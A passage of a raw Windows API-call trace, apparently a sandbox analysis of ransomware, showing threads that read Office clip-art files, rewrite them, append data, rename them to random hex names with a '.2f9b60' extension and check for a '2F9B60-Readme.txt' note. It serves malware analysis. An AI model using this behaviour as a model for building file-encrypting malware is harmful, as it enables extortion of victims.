Seed=0x2bc3f6d0) returned 0x1c864150 [0108.171] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x74ea80fe [0108.172] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x58f1fa2b [0108.184] ReadFile (in: hFile=0x159c, lpBuffer=0x41e71d40, nNumberOfBytesToRead=0x83c, lpNumberOfBytesRead=0x2bc3f6d0, lpOverlapped=0x0 | out: lpBuffer=0x41e71d40*, lpNumberOfBytesRead=0x2bc3f6d0*=0x83c, lpOverlapped=0x0) returned 1 [0108.184] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.184] WriteFile (in: hFile=0x159c, lpBuffer=0x41e75950*, nNumberOfBytesToWrite=0x83c, lpNumberOfBytesWritten=0x2bc3f6d4, lpOverlapped=0x0 | out: lpBuffer=0x41e75950*, lpNumberOfBytesWritten=0x2bc3f6d4*=0x83c, lpOverlapped=0x0) returned 1 [0108.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fa60 [0108.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860330 [0108.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860330) returned 1 [0108.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e75950) returned 1 [0108.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e71d40) returned 1 [0108.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 [0108.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0108.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860330 [0108.195] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.195] WriteFile (in: hFile=0x159c, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2bc3f7f0, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2bc3f7f0*=0x10a, lpOverlapped=0x0) returned 1 [0108.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0108.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867e40 [0108.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604e0 [0108.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8604e0) returned 1 [0108.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604e0 [0108.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601e0 [0108.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8601e0) returned 1 [0108.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 [0108.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0108.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.200] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="d0") returned 2 [0108.200] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="bb") returned 2 [0108.200] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="1f") returned 2 [0108.200] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="55") returned 2 [0108.200] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="c3") returned 2 [0108.200] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="e3") returned 2 [0108.200] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="4d") returned 2 [0108.200] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="75") returned 2 [0108.200] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="75") returned 2 [0108.201] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="01") returned 2 [0108.201] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="89") returned 2 [0108.201] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="f7") returned 2 [0108.201] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="82") returned 2 [0108.201] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="b6") returned 2 [0108.201] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="88") returned 2 [0108.201] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="66") returned 2 [0108.201] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="65") returned 2 [0108.201] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="83") returned 2 [0108.201] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="d1") returned 2 [0108.201] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="74") returned 2 [0108.201] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="f8") returned 2 [0108.201] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="42") returned 2 [0108.287] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="8a") returned 2 [0108.287] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="51") returned 2 [0108.287] RtlInitAnsiString (in: DestinationString=0x2bc3f868, SourceString="d0bb1f55c3e34d75750189f782b688666583d174f8428a51" | out: DestinationString="d0bb1f55c3e34d75750189f782b688666583d174f8428a51") [0108.287] RtlAnsiStringToUnicodeString (in: DestinationString=0x2bc3f838, SourceString="d0bb1f55c3e34d75750189f782b688666583d174f8428a51", AllocateDestinationString=1 | out: DestinationString="d0bb1f55c3e34d75750189f782b688666583d174f8428a51") returned 0x0 [0108.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5f60 [0108.287] wcscat (in: _Dest=0x20500090, _Source="d0bb1f55c3e3" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d0bb1f55c3e3") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d0bb1f55c3e3" [0108.287] wcscat (in: _Dest=0x20500090, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d0bb1f55c3e3.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d0bb1f55c3e3.2f9b60" [0108.288] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d0bb1f55c3e3.2f9b60", NtPathName=0x2bc3f810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d0bb1f55c3e3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279730 [0108.288] NtSetInformationFile (FileHandle=0x159c, IoStatusBlock=0x2bc3f8b0, FileInformation=0x20279730, Length=0xac, FileInformationClass=0xa) returned 0x0 [0108.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279730) returned 1 [0108.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202925e0) returned 1 [0108.291] NtQueryInformationFile (in: FileHandle=0x159c, IoStatusBlock=0x2bc3f878, FileInformation=0x2bc3f888, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2bc3f878, FileInformation=0x2bc3f888) returned 0x0 [0108.291] NtSetInformationFile (FileHandle=0x159c, IoStatusBlock=0x2bc3f878, FileInformation=0x2bc3f888, Length=0x28, FileInformationClass=0x4) returned 0x0 [0108.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500090) returned 1 [0108.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5f60) returned 1 [0108.300] FlushFileBuffers (hFile=0x159c) returned 1 [0108.328] CloseHandle (hObject=0x159c) returned 1 [0108.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20500090 [0108.330] wcscpy (in: _Dest=0x20500090, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0108.330] wcscat (in: _Dest=0x20500090, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0108.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0108.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500090) returned 1 [0108.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4b770) returned 1 Thread: id = 690 os_tid = 0x11ac [0096.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 0x20 [0107.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF", dwFileAttributes=0x20) returned 1 [0108.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x160c [0108.142] GetFileSizeEx (in: hFile=0x160c, lpFileSize=0x2bd0fd00 | out: lpFileSize=0x2bd0fd00*=9240) returned 1 [0108.142] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x2414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.142] ReadFile (in: hFile=0x160c, lpBuffer=0x2bd0fc80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bd0fcc8, lpOverlapped=0x0 | out: lpBuffer=0x2bd0fc80*, lpNumberOfBytesRead=0x2bd0fcc8*=0x4, lpOverlapped=0x0) returned 1 [0108.146] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0108.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8603f0 [0108.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860060 [0108.146] NtQuerySystemTime (in: CurrentTime=0x2bd0fbc0 | out: CurrentTime=0x2bd0fbc0*=132462177136378000) returned 0x0 [0108.146] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x2082191a [0108.146] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x69d88d82 [0108.146] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x9facbc3 [0108.146] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x29f7063c [0108.146] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x21f32132 [0108.146] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x36605f81 [0108.146] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x7cd9b596 [0108.146] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x2b053044 [0108.146] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x3add848f [0108.146] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x5b324f93 [0108.146] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x4741ed8c [0108.146] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x2855d4f9 [0108.146] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x404ee0a3 [0108.146] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x2d56a701 [0108.147] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x24d21e7 [0108.147] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x2169e6e1 [0108.147] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x204906d8 [0108.147] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x501f0907 [0108.147] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x55eebcab [0108.147] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x76131d8f [0108.147] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x34feb2fc [0108.147] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0xca18f86 [0108.147] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x39669170 [0108.147] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x45fce8e9 [0108.147] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x6fa0e682 [0108.147] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0xda6a7b6 [0108.147] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x40d80e2b [0108.147] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x1ce7aa3b [0108.147] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x391bcae7 [0108.147] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x618bc913 [0108.147] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x4a083914 [0108.147] RtlRandomEx (in: Seed=0x2bd0fbb0 | out: Seed=0x2bd0fbb0) returned 0x7b01913b [0108.159] ReadFile (in: hFile=0x160c, lpBuffer=0x41e53cc0, nNumberOfBytesToRead=0x2418, lpNumberOfBytesRead=0x2bd0fbb0, lpOverlapped=0x0 | out: lpBuffer=0x41e53cc0*, lpNumberOfBytesRead=0x2bd0fbb0*=0x2418, lpOverlapped=0x0) returned 1 [0108.167] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.167] WriteFile (in: hFile=0x160c, lpBuffer=0x41e578d0*, nNumberOfBytesToWrite=0x2418, lpNumberOfBytesWritten=0x2bd0fbb4, lpOverlapped=0x0 | out: lpBuffer=0x41e578d0*, lpNumberOfBytesWritten=0x2bd0fbb4*=0x2418, lpOverlapped=0x0) returned 1 [0108.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860480 [0108.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604e0 [0108.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8604e0) returned 1 [0108.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e578d0) returned 1 [0108.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e53cc0) returned 1 [0108.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0108.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0108.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b8604e0 [0108.187] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.187] WriteFile (in: hFile=0x160c, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2bd0fcd0, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2bd0fcd0*=0x10a, lpOverlapped=0x0) returned 1 [0108.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0108.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866c40 [0108.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0108.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd90) returned 1 [0108.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0108.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860060 [0108.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860060) returned 1 [0108.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0108.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0108.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.191] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="4d") returned 2 [0108.191] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="59") returned 2 [0108.191] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="4e") returned 2 [0108.191] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="e9") returned 2 [0108.191] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="2e") returned 2 [0108.192] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="81") returned 2 [0108.192] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="06") returned 2 [0108.192] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="b1") returned 2 [0108.192] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="c3") returned 2 [0108.192] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="2b") returned 2 [0108.192] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="df") returned 2 [0108.192] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="1f") returned 2 [0108.192] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="55") returned 2 [0108.192] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="76") returned 2 [0108.192] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="85") returned 2 [0108.192] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="6c") returned 2 [0108.192] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="82") returned 2 [0108.192] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="40") returned 2 [0108.192] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="06") returned 2 [0108.192] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="63") returned 2 [0108.192] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="e3") returned 2 [0108.192] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="47") returned 2 [0108.193] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="23") returned 2 [0108.193] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="68") returned 2 [0108.193] RtlInitAnsiString (in: DestinationString=0x2bd0fd48, SourceString="4d594ee92e8106b1c32bdf1f5576856c82400663e3472368" | out: DestinationString="4d594ee92e8106b1c32bdf1f5576856c82400663e3472368") [0108.193] RtlAnsiStringToUnicodeString (in: DestinationString=0x2bd0fd18, SourceString="4d594ee92e8106b1c32bdf1f5576856c82400663e3472368", AllocateDestinationString=1 | out: DestinationString="4d594ee92e8106b1c32bdf1f5576856c82400663e3472368") returned 0x0 [0108.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced63c0 [0108.193] wcscat (in: _Dest=0x20500810, _Source="4d594ee92e81" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\4d594ee92e81") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\4d594ee92e81" [0108.193] wcscat (in: _Dest=0x20500810, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\4d594ee92e81.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\4d594ee92e81.2f9b60" [0108.193] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\4d594ee92e81.2f9b60", NtPathName=0x2bd0fcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\4d594ee92e81.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42060230 [0108.193] NtSetInformationFile (FileHandle=0x160c, IoStatusBlock=0x2bd0fd90, FileInformation=0x42060230, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060230) returned 1 [0109.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027cba0) returned 1 [0109.986] NtQueryInformationFile (in: FileHandle=0x160c, IoStatusBlock=0x2bd0fd58, FileInformation=0x2bd0fd68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2bd0fd58, FileInformation=0x2bd0fd68) returned 0x0 [0109.986] NtSetInformationFile (FileHandle=0x160c, IoStatusBlock=0x2bd0fd58, FileInformation=0x2bd0fd68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500810) returned 1 [0110.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced63c0) returned 1 [0110.001] FlushFileBuffers (hFile=0x160c) returned 1 [0110.008] CloseHandle (hObject=0x160c) returned 1 [0110.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x205001d0 [0110.009] wcscpy (in: _Dest=0x205001d0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0110.009] wcscat (in: _Dest=0x205001d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0110.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0110.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205001d0) returned 1 [0110.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4b800) returned 1 Thread: id = 691 os_tid = 0x11b0 [0096.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 0x20 [0107.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF", dwFileAttributes=0x20) returned 1 [0107.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x163c [0107.233] GetFileSizeEx (in: hFile=0x163c, lpFileSize=0x2ba2fc20 | out: lpFileSize=0x2ba2fc20*=2344) returned 1 [0107.233] SetFilePointerEx (in: hFile=0x163c, liDistanceToMove=0x924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.233] ReadFile (in: hFile=0x163c, lpBuffer=0x2ba2fba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ba2fbe8, lpOverlapped=0x0 | out: lpBuffer=0x2ba2fba0*, lpNumberOfBytesRead=0x2ba2fbe8*=0x4, lpOverlapped=0x0) returned 1 [0107.248] SetFilePointerEx (in: hFile=0x163c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8550 [0107.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83d0 [0107.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fb0 [0107.249] NtQuerySystemTime (in: CurrentTime=0x2ba2fae0 | out: CurrentTime=0x2ba2fae0*=132462177127330000) returned 0x0 [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x28e4f8f5 [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x60c32f71 [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x7122c082 [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x480108df [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x6c68704b [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x59e3c98c [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x3246a9c4 [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0xdc6f94b [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x7c0a8f3b [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x1c4c4f87 [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0x4b838c39 [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: Seed=0x2ba2fad0) returned 0xd4831c0 [0107.249] RtlRandomEx (in: Seed=0x2ba2fad0 | out: 